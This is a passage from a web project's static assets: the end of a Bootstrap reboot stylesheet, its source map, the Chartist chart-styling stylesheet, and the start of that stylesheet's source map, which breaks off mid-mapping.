@-ms-viewport { 198 | width: device-width; } 199 | html { 200 | font-size: 16px; 201 | -ms-overflow-style: scrollbar; 202 | -webkit-tap-highlight-color: transparent; } 203 | 204 | body { 205 | font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; 206 | font-size: 1rem; 207 | line-height: 1.5; 208 | color: #373a3c; 209 | background-color: #fff; } 210 | 211 | [tabindex="-1"]:focus { 212 | outline: none !important; } 213 | 214 | h1, h2, h3, h4, h5, h6 { 215 | margin-top: 0; 216 | margin-bottom: .5rem; } 217 | 218 | p { 219 | margin-top: 0; 220 | margin-bottom: 1rem; } 221 | 222 | abbr[title], 223 | abbr[data-original-title] { 224 | cursor: help; 225 | border-bottom: 1px dotted #818a91; } 226 | 227 | address { 228 | margin-bottom: 1rem; 229 | font-style: normal; 230 | line-height: inherit; } 231 | 232 | ol, 233 | ul, 234 | dl { 235 | margin-top: 0; 236 | margin-bottom: 1rem; } 237 | 238 | ol ol, 239 | ul ul, 240 | ol ul, 241 | ul ol { 242 | margin-bottom: 0; } 243 | 244 | dt { 245 | font-weight: bold; } 246 | 247 | dd { 248 | margin-bottom: .5rem; 249 | margin-left: 0; } 250 | 251 | blockquote { 252 | margin: 0 0 1rem; } 253 | 254 | a { 255 | color: #0275d8; 256 | text-decoration: none; } 257 | a:focus, a:hover { 258 | color: #014c8c; 259 | text-decoration: underline; } 260 | a:focus { 261 | outline: 5px auto -webkit-focus-ring-color; 262 | outline-offset: -2px; } 263 | 264 | a:not([href]):not([tabindex]) { 265 | color: inherit; 266 | text-decoration: none; } 267 | a:not([href]):not([tabindex]):focus, a:not([href]):not([tabindex]):hover { 268 | color: inherit; 269 | text-decoration: none; } 270 | a:not([href]):not([tabindex]):focus { 271 | outline: none; } 272 | 273 | pre { 274 | margin-top: 0; 275 | margin-bottom: 1rem; 276 | overflow: auto; } 277 | 278 | figure { 279 | margin: 0 0 1rem; } 280 | 281 | img { 282 | vertical-align: middle; } 283 | 284 | [role="button"] { 285 | cursor: pointer; } 286 | 287 | a, 288 | area, 289 | button, 290 | [role="button"], 291 | input, 292 | label, 293 | select, 294 | summary, 295 | textarea { 296 | touch-action: manipulation; } 297 | 298 | table { 299 | border-collapse: collapse; 300 | background-color: transparent; } 301 | 302 | caption { 303 | padding-top: 0.75rem; 304 | padding-bottom: 0.75rem; 305 | color: #818a91; 306 | text-align: left; 307 | caption-side: bottom; } 308 | 309 | th { 310 | text-align: left; } 311 | 312 | label { 313 | display: inline-block; 314 | margin-bottom: .5rem; } 315 | 316 | button:focus { 317 | outline: 1px dotted; 318 | outline: 5px auto -webkit-focus-ring-color; } 319 | 320 | input, 321 | button, 322 | select, 323 | textarea { 324 | margin: 0; 325 | line-height: inherit; 326 | border-radius: 0; } 327 | 328 | input[type="radio"]:disabled, 329 | input[type="checkbox"]:disabled { 330 | cursor: not-allowed; } 331 | 332 | input[type="date"], 333 | input[type="time"], 334 | input[type="datetime-local"], 335 | input[type="month"] { 336 | -webkit-appearance: listbox; } 337 | 338 | textarea { 339 | resize: vertical; } 340 | 341 | fieldset { 342 | min-width: 0; 343 | padding: 0; 344 | margin: 0; 345 | border: 0; } 346 | 347 | legend { 348 | display: block; 349 | width: 100%; 350 | padding: 0; 351 | margin-bottom: .5rem; 352 | font-size: 1.5rem; 353 | line-height: inherit; } 354 | 355 | input[type="search"] { 356 | -webkit-appearance: none; } 357 | 358 | output { 359 | display: inline-block; } 360 | 361 | [hidden] { 362 | display: none !important; } 363 | 364 | /*# sourceMappingURL=bootstrap-reboot.css.map */ 365 | -------------------------------------------------------------------------------- /static/css/bootstrap-reboot.css.map: -------------------------------------------------------------------------------- 1 | { 2 | "version": 3, 3 | "mappings": "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", 4 | "sources": ["../scss/bootstrap/_normalize.scss","../scss/bootstrap/_reboot.scss","../scss/bootstrap/_variables.scss","../scss/bootstrap/mixins/_hover.scss","../scss/bootstrap/mixins/_tab-focus.scss"], 5 | "names": [], 6 | "file": "bootstrap-reboot.css" 7 | } -------------------------------------------------------------------------------- /static/css/chartist.css: -------------------------------------------------------------------------------- 1 | .ct-label { 2 | fill: rgba(0, 0, 0, 0.4); 3 | color: rgba(0, 0, 0, 0.4); 4 | font-size: 0.75rem; 5 | line-height: 1; } 6 | 7 | .ct-chart-line .ct-label, 8 | .ct-chart-bar .ct-label { 9 | display: block; 10 | display: -webkit-box; 11 | display: -moz-box; 12 | display: -ms-flexbox; 13 | display: -webkit-flex; 14 | display: flex; } 15 | 16 | .ct-label.ct-horizontal.ct-start { 17 | -webkit-box-align: flex-end; 18 | -webkit-align-items: flex-end; 19 | -ms-flex-align: flex-end; 20 | align-items: flex-end; 21 | -webkit-box-pack: flex-start; 22 | -webkit-justify-content: flex-start; 23 | -ms-flex-pack: flex-start; 24 | justify-content: flex-start; 25 | text-align: left; 26 | text-anchor: start; } 27 | 28 | .ct-label.ct-horizontal.ct-end { 29 | -webkit-box-align: flex-start; 30 | -webkit-align-items: flex-start; 31 | -ms-flex-align: flex-start; 32 | align-items: flex-start; 33 | -webkit-box-pack: flex-start; 34 | -webkit-justify-content: flex-start; 35 | -ms-flex-pack: flex-start; 36 | justify-content: flex-start; 37 | text-align: left; 38 | text-anchor: start; } 39 | 40 | .ct-label.ct-vertical.ct-start { 41 | -webkit-box-align: flex-end; 42 | -webkit-align-items: flex-end; 43 | -ms-flex-align: flex-end; 44 | align-items: flex-end; 45 | -webkit-box-pack: flex-end; 46 | -webkit-justify-content: flex-end; 47 | -ms-flex-pack: flex-end; 48 | justify-content: flex-end; 49 | text-align: right; 50 | text-anchor: end; } 51 | 52 | .ct-label.ct-vertical.ct-end { 53 | -webkit-box-align: flex-end; 54 | -webkit-align-items: flex-end; 55 | -ms-flex-align: flex-end; 56 | align-items: flex-end; 57 | -webkit-box-pack: flex-start; 58 | -webkit-justify-content: flex-start; 59 | -ms-flex-pack: flex-start; 60 | justify-content: flex-start; 61 | text-align: left; 62 | text-anchor: start; } 63 | 64 | .ct-chart-bar .ct-label.ct-horizontal.ct-start { 65 | -webkit-box-align: flex-end; 66 | -webkit-align-items: flex-end; 67 | -ms-flex-align: flex-end; 68 | align-items: flex-end; 69 | -webkit-box-pack: center; 70 | -webkit-justify-content: center; 71 | -ms-flex-pack: center; 72 | justify-content: center; 73 | text-align: center; 74 | text-anchor: start; } 75 | 76 | .ct-chart-bar .ct-label.ct-horizontal.ct-end { 77 | -webkit-box-align: flex-start; 78 | -webkit-align-items: flex-start; 79 | -ms-flex-align: flex-start; 80 | align-items: flex-start; 81 | -webkit-box-pack: center; 82 | -webkit-justify-content: center; 83 | -ms-flex-pack: center; 84 | justify-content: center; 85 | text-align: center; 86 | text-anchor: start; } 87 | 88 | .ct-chart-bar.ct-horizontal-bars .ct-label.ct-horizontal.ct-start { 89 | -webkit-box-align: flex-end; 90 | -webkit-align-items: flex-end; 91 | -ms-flex-align: flex-end; 92 | align-items: flex-end; 93 | -webkit-box-pack: flex-start; 94 | -webkit-justify-content: flex-start; 95 | -ms-flex-pack: flex-start; 96 | justify-content: flex-start; 97 | text-align: left; 98 | text-anchor: start; } 99 | 100 | .ct-chart-bar.ct-horizontal-bars .ct-label.ct-horizontal.ct-end { 101 | -webkit-box-align: flex-start; 102 | -webkit-align-items: flex-start; 103 | -ms-flex-align: flex-start; 104 | align-items: flex-start; 105 | -webkit-box-pack: flex-start; 106 | -webkit-justify-content: flex-start; 107 | -ms-flex-pack: flex-start; 108 | justify-content: flex-start; 109 | text-align: left; 110 | text-anchor: start; } 111 | 112 | .ct-chart-bar.ct-horizontal-bars .ct-label.ct-vertical.ct-start { 113 | -webkit-box-align: center; 114 | -webkit-align-items: center; 115 | -ms-flex-align: center; 116 | align-items: center; 117 | -webkit-box-pack: flex-end; 118 | -webkit-justify-content: flex-end; 119 | -ms-flex-pack: flex-end; 120 | justify-content: flex-end; 121 | text-align: right; 122 | text-anchor: end; } 123 | 124 | .ct-chart-bar.ct-horizontal-bars .ct-label.ct-vertical.ct-end { 125 | -webkit-box-align: center; 126 | -webkit-align-items: center; 127 | -ms-flex-align: center; 128 | align-items: center; 129 | -webkit-box-pack: flex-start; 130 | -webkit-justify-content: flex-start; 131 | -ms-flex-pack: flex-start; 132 | justify-content: flex-start; 133 | text-align: left; 134 | text-anchor: end; } 135 | 136 | .ct-grid { 137 | stroke: rgba(0, 0, 0, 0.2); 138 | stroke-width: 1px; 139 | stroke-dasharray: 2px; } 140 | 141 | .ct-point { 142 | stroke-width: 10px; 143 | stroke-linecap: round; } 144 | 145 | .ct-line { 146 | fill: none; 147 | stroke-width: 4px; } 148 | 149 | .ct-area { 150 | stroke: none; 151 | fill-opacity: 0.1; } 152 | 153 | .ct-bar { 154 | fill: none; 155 | stroke-width: 10px; } 156 | 157 | .ct-slice-donut { 158 | fill: none; 159 | stroke-width: 60px; } 160 | 161 | .ct-series-a .ct-point, .ct-series-a .ct-line, .ct-series-a .ct-bar, .ct-series-a .ct-slice-donut { 162 | stroke: #d70206; } 163 | .ct-series-a .ct-slice-pie, .ct-series-a .ct-area { 164 | fill: #d70206; } 165 | 166 | .ct-series-b .ct-point, .ct-series-b .ct-line, .ct-series-b .ct-bar, .ct-series-b .ct-slice-donut { 167 | stroke: #f05b4f; } 168 | .ct-series-b .ct-slice-pie, .ct-series-b .ct-area { 169 | fill: #f05b4f; } 170 | 171 | .ct-series-c .ct-point, .ct-series-c .ct-line, .ct-series-c .ct-bar, .ct-series-c .ct-slice-donut { 172 | stroke: #f4c63d; } 173 | .ct-series-c .ct-slice-pie, .ct-series-c .ct-area { 174 | fill: #f4c63d; } 175 | 176 | .ct-series-d .ct-point, .ct-series-d .ct-line, .ct-series-d .ct-bar, .ct-series-d .ct-slice-donut { 177 | stroke: #d17905; } 178 | .ct-series-d .ct-slice-pie, .ct-series-d .ct-area { 179 | fill: #d17905; } 180 | 181 | .ct-series-e .ct-point, .ct-series-e .ct-line, .ct-series-e .ct-bar, .ct-series-e .ct-slice-donut { 182 | stroke: #453d3f; } 183 | .ct-series-e .ct-slice-pie, .ct-series-e .ct-area { 184 | fill: #453d3f; } 185 | 186 | .ct-series-f .ct-point, .ct-series-f .ct-line, .ct-series-f .ct-bar, .ct-series-f .ct-slice-donut { 187 | stroke: #59922b; } 188 | .ct-series-f .ct-slice-pie, .ct-series-f .ct-area { 189 | fill: #59922b; } 190 | 191 | .ct-series-g .ct-point, .ct-series-g .ct-line, .ct-series-g .ct-bar, .ct-series-g .ct-slice-donut { 192 | stroke: #0544d3; } 193 | .ct-series-g .ct-slice-pie, .ct-series-g .ct-area { 194 | fill: #0544d3; } 195 | 196 | .ct-series-h .ct-point, .ct-series-h .ct-line, .ct-series-h .ct-bar, .ct-series-h .ct-slice-donut { 197 | stroke: #6b0392; } 198 | .ct-series-h .ct-slice-pie, .ct-series-h .ct-area { 199 | fill: #6b0392; } 200 | 201 | .ct-series-i .ct-point, .ct-series-i .ct-line, .ct-series-i .ct-bar, .ct-series-i .ct-slice-donut { 202 | stroke: #f05b4f; } 203 | .ct-series-i .ct-slice-pie, .ct-series-i .ct-area { 204 | fill: #f05b4f; } 205 | 206 | .ct-series-j .ct-point, .ct-series-j .ct-line, .ct-series-j .ct-bar, .ct-series-j .ct-slice-donut { 207 | stroke: #dda458; } 208 | .ct-series-j .ct-slice-pie, .ct-series-j .ct-area { 209 | fill: #dda458; } 210 | 211 | .ct-series-k .ct-point, .ct-series-k .ct-line, .ct-series-k .ct-bar, .ct-series-k .ct-slice-donut { 212 | stroke: #eacf7d; } 213 | .ct-series-k .ct-slice-pie, .ct-series-k .ct-area { 214 | fill: #eacf7d; } 215 | 216 | .ct-series-l .ct-point, .ct-series-l .ct-line, .ct-series-l .ct-bar, .ct-series-l .ct-slice-donut { 217 | stroke: #86797d; } 218 | .ct-series-l .ct-slice-pie, .ct-series-l .ct-area { 219 | fill: #86797d; } 220 | 221 | .ct-series-m .ct-point, .ct-series-m .ct-line, .ct-series-m .ct-bar, .ct-series-m .ct-slice-donut { 222 | stroke: #b2c326; } 223 | .ct-series-m .ct-slice-pie, .ct-series-m .ct-area { 224 | fill: #b2c326; } 225 | 226 | .ct-series-n .ct-point, .ct-series-n .ct-line, .ct-series-n .ct-bar, .ct-series-n .ct-slice-donut { 227 | stroke: #6188e2; } 228 | .ct-series-n .ct-slice-pie, .ct-series-n .ct-area { 229 | fill: #6188e2; } 230 | 231 | .ct-series-o .ct-point, .ct-series-o .ct-line, .ct-series-o .ct-bar, .ct-series-o .ct-slice-donut { 232 | stroke: #a748ca; } 233 | .ct-series-o .ct-slice-pie, .ct-series-o .ct-area { 234 | fill: #a748ca; } 235 | 236 | .ct-square { 237 | display: block; 238 | position: relative; 239 | width: 100%; } 240 | .ct-square:before { 241 | display: block; 242 | float: left; 243 | content: ""; 244 | width: 0; 245 | height: 0; 246 | padding-bottom: 100%; } 247 | .ct-square:after { 248 | content: ""; 249 | display: table; 250 | clear: both; } 251 | .ct-square > svg { 252 | display: block; 253 | position: absolute; 254 | top: 0; 255 | left: 0; } 256 | 257 | .ct-minor-second { 258 | display: block; 259 | position: relative; 260 | width: 100%; } 261 | .ct-minor-second:before { 262 | display: block; 263 | float: left; 264 | content: ""; 265 | width: 0; 266 | height: 0; 267 | padding-bottom: 93.75%; } 268 | .ct-minor-second:after { 269 | content: ""; 270 | display: table; 271 | clear: both; } 272 | .ct-minor-second > svg { 273 | display: block; 274 | position: absolute; 275 | top: 0; 276 | left: 0; } 277 | 278 | .ct-major-second { 279 | display: block; 280 | position: relative; 281 | width: 100%; } 282 | .ct-major-second:before { 283 | display: block; 284 | float: left; 285 | content: ""; 286 | width: 0; 287 | height: 0; 288 | padding-bottom: 88.88889%; } 289 | .ct-major-second:after { 290 | content: ""; 291 | display: table; 292 | clear: both; } 293 | .ct-major-second > svg { 294 | display: block; 295 | position: absolute; 296 | top: 0; 297 | left: 0; } 298 | 299 | .ct-minor-third { 300 | display: block; 301 | position: relative; 302 | width: 100%; } 303 | .ct-minor-third:before { 304 | display: block; 305 | float: left; 306 | content: ""; 307 | width: 0; 308 | height: 0; 309 | padding-bottom: 83.33333%; } 310 | .ct-minor-third:after { 311 | content: ""; 312 | display: table; 313 | clear: both; } 314 | .ct-minor-third > svg { 315 | display: block; 316 | position: absolute; 317 | top: 0; 318 | left: 0; } 319 | 320 | .ct-major-third { 321 | display: block; 322 | position: relative; 323 | width: 100%; } 324 | .ct-major-third:before { 325 | display: block; 326 | float: left; 327 | content: ""; 328 | width: 0; 329 | height: 0; 330 | padding-bottom: 80%; } 331 | .ct-major-third:after { 332 | content: ""; 333 | display: table; 334 | clear: both; } 335 | .ct-major-third > svg { 336 | display: block; 337 | position: absolute; 338 | top: 0; 339 | left: 0; } 340 | 341 | .ct-perfect-fourth { 342 | display: block; 343 | position: relative; 344 | width: 100%; } 345 | .ct-perfect-fourth:before { 346 | display: block; 347 | float: left; 348 | content: ""; 349 | width: 0; 350 | height: 0; 351 | padding-bottom: 75%; } 352 | .ct-perfect-fourth:after { 353 | content: ""; 354 | display: table; 355 | clear: both; } 356 | .ct-perfect-fourth > svg { 357 | display: block; 358 | position: absolute; 359 | top: 0; 360 | left: 0; } 361 | 362 | .ct-perfect-fifth { 363 | display: block; 364 | position: relative; 365 | width: 100%; } 366 | .ct-perfect-fifth:before { 367 | display: block; 368 | float: left; 369 | content: ""; 370 | width: 0; 371 | height: 0; 372 | padding-bottom: 66.66667%; } 373 | .ct-perfect-fifth:after { 374 | content: ""; 375 | display: table; 376 | clear: both; } 377 | .ct-perfect-fifth > svg { 378 | display: block; 379 | position: absolute; 380 | top: 0; 381 | left: 0; } 382 | 383 | .ct-minor-sixth { 384 | display: block; 385 | position: relative; 386 | width: 100%; } 387 | .ct-minor-sixth:before { 388 | display: block; 389 | float: left; 390 | content: ""; 391 | width: 0; 392 | height: 0; 393 | padding-bottom: 62.5%; } 394 | .ct-minor-sixth:after { 395 | content: ""; 396 | display: table; 397 | clear: both; } 398 | .ct-minor-sixth > svg { 399 | display: block; 400 | position: absolute; 401 | top: 0; 402 | left: 0; } 403 | 404 | .ct-golden-section { 405 | display: block; 406 | position: relative; 407 | width: 100%; } 408 | .ct-golden-section:before { 409 | display: block; 410 | float: left; 411 | content: ""; 412 | width: 0; 413 | height: 0; 414 | padding-bottom: 61.8047%; } 415 | .ct-golden-section:after { 416 | content: ""; 417 | display: table; 418 | clear: both; } 419 | .ct-golden-section > svg { 420 | display: block; 421 | position: absolute; 422 | top: 0; 423 | left: 0; } 424 | 425 | .ct-major-sixth { 426 | display: block; 427 | position: relative; 428 | width: 100%; } 429 | .ct-major-sixth:before { 430 | display: block; 431 | float: left; 432 | content: ""; 433 | width: 0; 434 | height: 0; 435 | padding-bottom: 60%; } 436 | .ct-major-sixth:after { 437 | content: ""; 438 | display: table; 439 | clear: both; } 440 | .ct-major-sixth > svg { 441 | display: block; 442 | position: absolute; 443 | top: 0; 444 | left: 0; } 445 | 446 | .ct-minor-seventh { 447 | display: block; 448 | position: relative; 449 | width: 100%; } 450 | .ct-minor-seventh:before { 451 | display: block; 452 | float: left; 453 | content: ""; 454 | width: 0; 455 | height: 0; 456 | padding-bottom: 56.25%; } 457 | .ct-minor-seventh:after { 458 | content: ""; 459 | display: table; 460 | clear: both; } 461 | .ct-minor-seventh > svg { 462 | display: block; 463 | position: absolute; 464 | top: 0; 465 | left: 0; } 466 | 467 | .ct-major-seventh { 468 | display: block; 469 | position: relative; 470 | width: 100%; } 471 | .ct-major-seventh:before { 472 | display: block; 473 | float: left; 474 | content: ""; 475 | width: 0; 476 | height: 0; 477 | padding-bottom: 53.33333%; } 478 | .ct-major-seventh:after { 479 | content: ""; 480 | display: table; 481 | clear: both; } 482 | .ct-major-seventh > svg { 483 | display: block; 484 | position: absolute; 485 | top: 0; 486 | left: 0; } 487 | 488 | .ct-octave { 489 | display: block; 490 | position: relative; 491 | width: 100%; } 492 | .ct-octave:before { 493 | display: block; 494 | float: left; 495 | content: ""; 496 | width: 0; 497 | height: 0; 498 | padding-bottom: 50%; } 499 | .ct-octave:after { 500 | content: ""; 501 | display: table; 502 | clear: both; } 503 | .ct-octave > svg { 504 | display: block; 505 | position: absolute; 506 | top: 0; 507 | left: 0; } 508 | 509 | .ct-major-tenth { 510 | display: block; 511 | position: relative; 512 | width: 100%; } 513 | .ct-major-tenth:before { 514 | display: block; 515 | float: left; 516 | content: ""; 517 | width: 0; 518 | height: 0; 519 | padding-bottom: 40%; } 520 | .ct-major-tenth:after { 521 | content: ""; 522 | display: table; 523 | clear: both; } 524 | .ct-major-tenth > svg { 525 | display: block; 526 | position: absolute; 527 | top: 0; 528 | left: 0; } 529 | 530 | .ct-major-eleventh { 531 | display: block; 532 | position: relative; 533 | width: 100%; } 534 | .ct-major-eleventh:before { 535 | display: block; 536 | float: left; 537 | content: ""; 538 | width: 0; 539 | height: 0; 540 | padding-bottom: 37.5%; } 541 | .ct-major-eleventh:after { 542 | content: ""; 543 | display: table; 544 | clear: both; } 545 | .ct-major-eleventh > svg { 546 | display: block; 547 | position: absolute; 548 | top: 0; 549 | left: 0; } 550 | 551 | .ct-major-twelfth { 552 | display: block; 553 | position: relative; 554 | width: 100%; } 555 | .ct-major-twelfth:before { 556 | display: block; 557 | float: left; 558 | content: ""; 559 | width: 0; 560 | height: 0; 561 | padding-bottom: 33.33333%; } 562 | .ct-major-twelfth:after { 563 | content: ""; 564 | display: table; 565 | clear: both; } 566 | .ct-major-twelfth > svg { 567 | display: block; 568 | position: absolute; 569 | top: 0; 570 | left: 0; } 571 | 572 | .ct-double-octave { 573 | display: block; 574 | position: relative; 575 | width: 100%; } 576 | .ct-double-octave:before { 577 | display: block; 578 | float: left; 579 | content: ""; 580 | width: 0; 581 | height: 0; 582 | padding-bottom: 25%; } 583 | .ct-double-octave:after { 584 | content: ""; 585 | display: table; 586 | clear: both; } 587 | .ct-double-octave > svg { 588 | display: block; 589 | position: absolute; 590 | top: 0; 591 | left: 0; } 592 | 593 | /*# sourceMappingURL=chartist.css.map */ 594 | -------------------------------------------------------------------------------- /static/css/chartist.css.map: -------------------------------------------------------------------------------- 1 | { 2 | "version": 3, 3 | "mappings": "AAoHE,SAAoB;EAxDpB,IAAI,EC/BU,kBAAkB;EDgChC,KAAK,EChCS,kBAAkB;EDiChC,SAAS,EChCI,OAAO;EDiCpB,WAAW,EC9BS,CAAC;;ADuFrB;uBAC4C;EAtE5C,OAAO,EAAE,KAAK;EACd,OAAO,EAAE,WAAW;EACpB,OAAO,EAAE,QAAQ;EACjB,OAAO,EAAE,WAAW;EACpB,OAAO,EAAE,YAAY;EACrB,OAAO,EAAE,IAAI;;AAqEb,gCAA+D;EA9F/D,iBAAiB,EA+FW,QAAQ;EA9FpC,mBAAmB,EA8FS,QAAQ;EA7FpC,cAAc,EA6Fc,QAAQ;EA5FpC,WAAW,EA4FiB,QAAQ;EA3FpC,gBAAgB,EA2FsB,UAAU;EA1FhD,uBAAuB,EA0Fe,UAAU;EAzFhD,aAAa,EAyFyB,UAAU;EAxFhD,eAAe,EAwFuB,UAAU;EArF9C,UAAU,EAAE,IAAI;EAuFhB,WAAW,EAAE,KAAK;;AAGpB,8BAA6D;EApG7D,iBAAiB,EAqGW,UAAU;EApGtC,mBAAmB,EAoGS,UAAU;EAnGtC,cAAc,EAmGc,UAAU;EAlGtC,WAAW,EAkGiB,UAAU;EAjGtC,gBAAgB,EAiGwB,UAAU;EAhGlD,uBAAuB,EAgGiB,UAAU;EA/FlD,aAAa,EA+F2B,UAAU;EA9FlD,eAAe,EA8FyB,UAAU;EA3FhD,UAAU,EAAE,IAAI;EA6FhB,WAAW,EAAE,KAAK;;AAGpB,8BAA6D;EA1G7D,iBAAiB,EA2GW,QAAQ;EA1GpC,mBAAmB,EA0GS,QAAQ;EAzGpC,cAAc,EAyGc,QAAQ;EAxGpC,WAAW,EAwGiB,QAAQ;EAvGpC,gBAAgB,EAuGsB,QAAQ;EAtG9C,u